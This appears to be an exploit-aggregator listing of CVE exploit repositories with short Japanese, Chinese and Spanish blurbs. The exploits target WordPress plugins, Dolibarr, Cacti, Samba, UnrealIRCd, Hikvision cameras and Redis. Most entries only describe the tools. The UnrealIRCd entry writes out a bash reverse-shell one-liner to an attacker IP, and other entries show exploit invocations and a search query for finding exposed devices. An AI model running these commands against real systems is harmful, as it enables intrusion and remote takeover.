CVE-2024-9290

CVE-2024-9290 エクスプロイトツール | Super Backup & Clone 脆弱性 このツールは、Super Backup & Clone プラグインを使用し、任意のファイルアップロードに対して脆弱な WordPress サイトを対象としています。悪意のあるシェルを /wp-content/uploads/isnapshots/ ディレクトリにアップロードしようとします。アップロード後、ツールはシェルの存在を確認し、成功したアップロードを shells.txt ファイルに記録します。 機能 マルチスレッド :...

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 リモートコード実行 Dolibarr ERP/CRM v17.0.0 向けの PHP コードインジェクションエクスプロイトです。Website/CMS モジュールを介して、www-data ユーザーとして リバースシェル を取得できます。 ⚠️ 教育目的および許可を得た監査にのみ使用してください。 📑 目次 CVE-2023-30253 とは？ 脆弱性の仕組み 影響 このエクスプロイトの機能 要件 インストール 使用方法 実践例 エクスプロイトの詳細解説 軽減策 参考情報 🔍 CVE-2023-30253 と...

C2-and-Post-Exploitation-Framework

Capstone Docker Lab 概要と目的 被害者はホストされた Web ページを閲覧します。エクスプロイトは utils.js に埋め込まれたシェルコードを介して開始されます（CVE-2021-21220 により被害者のブラウザ内でクライアント側で実行されます）。シェルコードは被害者のマシン上で実行され、HTTPS 配信サーバーを呼び出し、MicrosoftEdgeUpdate.exe をダウンロードして実行します。実行されると、インプラントは中間ホップ（C2 リダイレクタ）を介して C2 サーバーに TLS で接続し、署名付き証明書を受け取った後、完全な相互 TLS...

CVE-2021-41773-Playground

CVE-2021-41773 实验环境 一些用于演练 CVE-2021-41773 和 CVE-2021-42013 的 Docker 镜像 运行 docker compose up -d 启动所有容器。 服务器将运行在 8080、8081、8082 和 8083 端口上。 8080 包含一个禁用了 CGI 的 Apache 2.4.49。 8081 包含一个启用了 CGI 的 Apache 2.4.49。 8082 包含一个禁用了 CGI 的 Apache 2.4.50。 8083 包含一个启用了 CGI 的 Apache 2.4.50。 每个服务器上都有一些标志，位于...

MySQL-Fu.rb

MySQL-Fu.rb MySQL-Fu は、私が書いた Ruby ベースの MySQL クライアントスクリプトです。 通常の MySQL クライアントが実行できることのほとんどを行えます: SQL シェル、データベース/テーブルの更新・削除・ドロップ、ユーザーの追加/削除、gzip オプション付きのデータベース/テーブルのダンプ...... さらに、ペンテストを少し楽にするための追加オプションもいくつか含まれています。 組み込みの PHP コマンドシェルオプションに加えて、Pentestmonkey の PHP...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE Python で書かれた CVE-2007-2447 エクスプロイト。リバースシェルを取得します。...

CVE-2023-40294-and-CVE-2023-40295

私の環境で boron を実行していたところ、わずかに不正な入力を処理する際に、libboron libboron.so.2 バージョン 2.0.8 に2つのヒープバッファオーバーフローを発見しました。 これは Mac x8664 と Linux x8664 の両方で公式にテストされています: 再現用ファイル reproduction.zip コンパイル git clone https://github.com/0branch/boron.git cd boron ./configure && make sudo make install && sudo ldconfig...

CVE-2020-24186

CVE-2020-24186 このスクリプトは、WordPressのCVE-2020-24186脆弱性を悪用して、偽装されたPHPペイロードをアップロードし、対象システムにシェルを取得します。以下の3つの動作モードがあります。 1. インタラクティブシェル: 基本的なウェブシェルをアップロードし、インタラクティブモードに入ります。これにより、cmdパラメータを通じてコマンドを送信できます。 2. 手動リバースシェル: ウェブシェルをアップロードし、リバースシェルペイロードを送信しますが、自動的には リスナーを起動しません。指定したIPとポートで、自分で手動でリスナーを起動する必要がありま...

redis-cve-2025-62507

Exploit Scripts — CVE-2025-62507 ディレクトリ構造 root@kitploit: scripts/ ├── exploitx86.py x86-64 ROP exploit ├── exploitarm64.py ARM64 AArch64 ROP exploit └── gdbwithsymbols.sh GDB 调试辅助脚本 脆弱性の概要 項目| 説明 ---|--- CVE| CVE-2025-62507 脆弱性タイプ| スタックバッファオーバーフロー Stack Buffer Overflow 影響を受けるコンポーネント| Redis 8.2.0 ...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 CVE:2010-2075 用エクスプロイト。このエクスプロイトは UnrealIRCd 3.2.8.1 でリモートコード実行を可能にします。 要件 optparse, signal 使用方法 実行するコマンドを送信できますが、応答しない場合もあります。その場合は、リバースシェルを送信して接続が届くのを待つだけで構いません。 root@kitploit: python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"'...

CVE-2022-46169-CACTI-1.2.22

CVE-2022-46169-CACTI-1.2.22 これは、Cacti 1.2.22 に対する CVE-2022-46169 のエクスプロイトです。このエクスプロイトは、RCE 経由であなたのコンピュータ上でリバースシェルを取得することができます。 要件 optparse requests 使い方 お使いのマシンのポートでリッスンしてから、以下のようにエクスプロイトを実行してください。 root@kitploit: python3 CVE-2022-46169.py -u http://10.129.216.153 --LHOST=10.10.16.23 --LPORT=443...

cve-2025-55182

🛡️ React2Shell CTF 🚀 Bienvenido a React2Shell-CTF , un entorno Dockerizado diseñado para practicar la explotación de React2Shell CVE-2025-55182. React2Shell es una vulnerabilidad crítica que afecta a aplicaciones basadas en React. Este repositorio proporciona un desafío Capture The Flag CTF seguro...

CVE-2023-21823

CVE-2023-21823 Windows用リバースシェル このリポジトリには、Windowsオペレーティングシステム用のリバースシェルを実装したCコードが含まれています。リバースシェルを使用すると、コマンドラインによるリモートシステム制御が可能になり、感染したマシン上でコマンドを実行できます。 重要 このコードを不正な目的で、またはシステム所有者の許可なく使用することは、違法であり倫理的原則に反します。このコードは教育および研究目的でのみ提供されています。 ビルド プロジェクトをビルドするには、MinGW や Microsoft Visual Studio などのCコンパイラが必要で...

Mitigation-Apache-CVE-2021-41773-

缓解 CVE-2021-41773 用于缓解 CVE-2021-41773 的 Shell 脚本，这是一个 Apache 中的路径遍历和文件泄露漏洞 安装 root@kitploit: wget https://github.com/EkamSinghWalia/Mitigation-CVE-2021-41773-.git 用法 完整的修复和推荐的缓解漏洞的方法 此脚本将升级和更新系统仓库和 Apache root@kitploit: bash apachefix.sh 注意 - 运行脚本时在两个弹出窗口中输入 OK 如果您不想更新和升级系统和 Apache，请使用 method2.sh...

CVE-2023-41425-WonderCMS-Authenticated-RCE

CVE-2023-41425-WonderCMS-Authenticated-RCE 説明 WonderCMS v3.2.0 - v3.4.2 は脆弱です。リモート攻撃者は、クロスサイトスクリプティング（XSS）エクスプロイトを使用してサーバーを完全に制御できます（教育目的のみ）。以下がその計画です: 動作の仕組み このエクスプロイトは、WonderCMSのinstallModuleコンポーネントを悪用して、任意のコードを実行するように細工されたスクリプトを忍び込ませます。 セットアップ ツール: exploit.py 必要なもの:...

cve-2017-11176

cve-2017-11176 ローカル権限昇格 ubuntu 4.4.0-62 カーネル上で開発 概要 自作LPEエクスプロイトのコーディングへの最初の試み。 開発ライン c2bbad5f471ef2b112f343fde1f4e7ff94fe28d1 カーネルUAFのトリガー d2872d5c0d642e20c807a960f99d9533dde5d809 これでsystemtapを使わずに別スレッドでメインスレッドのブロックを解除できる。 TODO rootシェルを取得するエクスプロイト 参照 lexfo:linux-kernel-exploitation...

springshell-rce-poc

CVE-2022-22965 - 脆弱なアプリケーションとPoC 試行錯誤 root@kitploit: $ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py 出力例 root@kitploit: rce sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6...

CVE-2021-36260

Hikvision CVE-2021-36260 RCE 脆弱性 脆弱性の説明 攻撃者は本脆弱性を利用することで、無制限のrootシェルによりデバイスを完全に制御できます。デバイスの所有者が限定的な保護シェル（psh）しか持てない場合でも同様です。IPカメラへの侵入に加えて、内部ネットワークへのアクセスや攻撃も可能です。 FOFA root@kitploit: header="Hikvision" app="HIKVISION-视频监控" 使用方法 root@kitploit: python ./CVE-2021-36260.py -u http://192.168.1.1:8080...

CVE-2007-2447

CVE-2007-2447 PoC: Sambaの「usermap script」によるリモートコマンド実行（歴史的なCVE）。このリポジトリには、研究および教育目的のレビュー用の小さな概念実証スクリプトが含まれています。主要なスクリプトは usermapscriptCommandExecution.py です。 参考記事: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 使用法 リポジトリをクローンし、管理されたラボ環境でスクリプトを実行してください。このPoCは任意で LHOST:LPORT...

CVE-2026-95521

A command injection flaw exists in rpm when installing or rebuilding a source RPM . If the source or spec file basenames contain a %() macro construct , rpm executes attacker-controlled shell commands via popen() during the relocation of the source file list. This vulnerability allows for arbitra...